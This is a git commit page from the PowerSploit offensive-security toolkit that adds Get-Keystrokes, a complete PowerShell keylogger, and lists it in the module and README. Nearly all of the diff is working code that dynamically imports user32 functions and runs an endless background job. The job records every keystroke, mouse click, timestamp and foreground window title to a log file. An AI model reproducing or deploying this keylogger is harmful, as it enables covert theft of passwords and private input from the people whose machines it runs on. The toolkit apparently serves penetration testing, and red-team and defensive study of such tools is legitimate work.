diff options
author | Matt Graeber <mattgraeber@gmail.com> | 2013-06-30 11:15:02 -0400 |
---|---|---|
committer | Matt Graeber <mattgraeber@gmail.com> | 2013-06-30 11:15:02 -0400 |
commit | 717950d00c7cc352efe8b05c3db84d0e6250474c (patch) | |
tree | ec52de4ddd26cef989c0cd0aee8f57e8f20e69e0 | |
parent | 94751bc156a28a941335e1321699b314c6466f38 (diff) | |
download | PowerSploit-717950d00c7cc352efe8b05c3db84d0e6250474c.tar.gz PowerSploit-717950d00c7cc352efe8b05c3db84d0e6250474c.zip |
Added Get-Keystrokes
Get-Keystrokes is a PowerShell keylogger
-rw-r--r-- | Exfiltration/Exfiltration.psd1 | 2 | ||||
-rw-r--r-- | Exfiltration/Get-Keystrokes.ps1 | 247 | ||||
-rw-r--r-- | README.md | 4 |
3 files changed, 252 insertions, 1 deletions
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 7c65566..1d0e69d 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
- 'Usage.md'
+ 'Get-Keystrokes.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 new file mode 100644 index 0000000..0698d9d --- /dev/null +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -0,0 +1,247 @@ +function Get-Keystrokes { +<# +.SYNOPSIS + + Logs keys pressed, time and the active window. + + PowerSploit Function: Get-Keystrokes + Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.PARAMETER LogPath + + Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'. + +.PARAMETER CollectionInterval + + Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. + +.EXAMPLE + + Get-Keystrokes -LogPath C:\key.log + +.EXAMPLE + + Get-Keystrokes -CollectionInterval 20 + +.LINK + + http://www.obscuresec.com/ + http://www.exploit-monday.com/ +#> + [CmdletBinding()] Param ( + [Parameter(Position = 0)] + [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})] + [String] + $LogPath = "$($Env:TEMP)\key.log", + + [Parameter(Position = 1)] + [UInt32] + $CollectionInterval + ) + + Write-Verbose "Logging keystrokes to $LogPath" + + $Initilizer = { + $LogPath = 'REPLACEME' + + '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode + + function KeyLog { + [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null + + try + { + $ImportDll = [User32] + } + catch + { + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False) + $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class') + + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $FieldArray = [Reflection.FieldInfo[]] @( + [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), + [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), + [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), + [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), + [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), + [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') + ) + + $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys])) + $FieldValueArray = [Object[]] @( + 'GetAsyncKeyState', + $True, + $False, + $True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) + $PInvokeMethod.SetCustomAttribute($CustomAttribute) + + $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]])) + $FieldValueArray = [Object[]] @( + 'GetKeyboardState', + $True, + $False, + $True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) + $PInvokeMethod.SetCustomAttribute($CustomAttribute) + + $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32])) + $FieldValueArray = [Object[]] @( + 'MapVirtualKey', + $False, + $False, + $True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) + $PInvokeMethod.SetCustomAttribute($CustomAttribute) + + $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32], + [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32])) + $FieldValueArray = [Object[]] @( + 'ToUnicode', + $False, + $False, + $True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) + $PInvokeMethod.SetCustomAttribute($CustomAttribute) + + $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @()) + $FieldValueArray = [Object[]] @( + 'GetForegroundWindow', + $True, + $False, + $True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) + $PInvokeMethod.SetCustomAttribute($CustomAttribute) + + $ImportDll = $TypeBuilder.CreateType() + } + + Start-Sleep -Milliseconds 40 + + try + { + + #loop through typeable characters to see which is pressed + for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++) + { + $VirtualKey = $TypeableChar + $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey) + + #if the key is pressed + if (($KeyResult -band 0x8000) -eq 0x8000) + { + + #check for keys not mapped by virtual keyboard + $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000 + $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000 + $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000 + $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000 + $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000 + $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000 + $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000 + $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000 + $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000 + $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000 + $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000 + $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000 + $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000 + $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000 + $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000 + $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000 + $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000 + + if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'} + if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'} + if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'} + if ($TabKey) {$LogOutput += '[Tab]'} + if ($SpaceBar) {$LogOutput += '[SpaceBar]'} + if ($DeleteKey) {$LogOutput += '[Delete]'} + if ($EnterKey) {$LogOutput += '[Enter]'} + if ($BackSpaceKey) {$LogOutput += '[Backspace]'} + if ($LeftArrow) {$LogOutput += '[Left Arrow]'} + if ($RightArrow) {$LogOutput += '[Right Arrow]'} + if ($UpArrow) {$LogOutput += '[Up Arrow]'} + if ($DownArrow) {$LogOutput += '[Down Arrow]'} + if ($LeftMouse) {$LogOutput += '[Left Mouse]'} + if ($RightMouse) {$LogOutput += '[Right Mouse]'} + + #check for capslock + if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'} + + $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3) + $KeyboardState = New-Object Byte[] 256 + $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState) + + #create a stringbuilder object + $StringBuilder = New-Object -TypeName System.Text.StringBuilder; + $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0) + + #convert typed characters + if ($UnicodeKey -gt 0) { + $TypedCharacter = $StringBuilder.ToString() + $LogOutput += ('['+ $TypedCharacter +']') + } + + #get the title of the foreground window + $TopWindow = $ImportDll::GetForegroundWindow() + $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle + + #get the current DTG + $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) + + #Create a custom object to store results + $ObjectProperties = @{'Key Typed' = $LogOutput; + 'Time' = $TimeStamp; + 'Window Title' = $WindowTitle} + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + + # Stupid hack since Export-CSV doesn't have an append switch in PSv2 + $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1] + + #return results + Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode + + } + } + } + catch {} + } + } + + $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath)) + + Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null + + if ($PSBoundParameters['CollectionInterval']) + { + $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000) + + Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action { + Stop-Job -Name Keylogger + Unregister-Event -SourceIdentifier ElapsedAction + $Sender.Stop() + } | Out-Null + } + +}
\ No newline at end of file @@ -128,6 +128,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas **All your data belong to me!** +#### `Get-Keystrokes` + +Logs keys pressed, time and the active window. + #### `Get-TimedScreenshot` A function that takes screenshots at a regular interval and saves them to a folder. |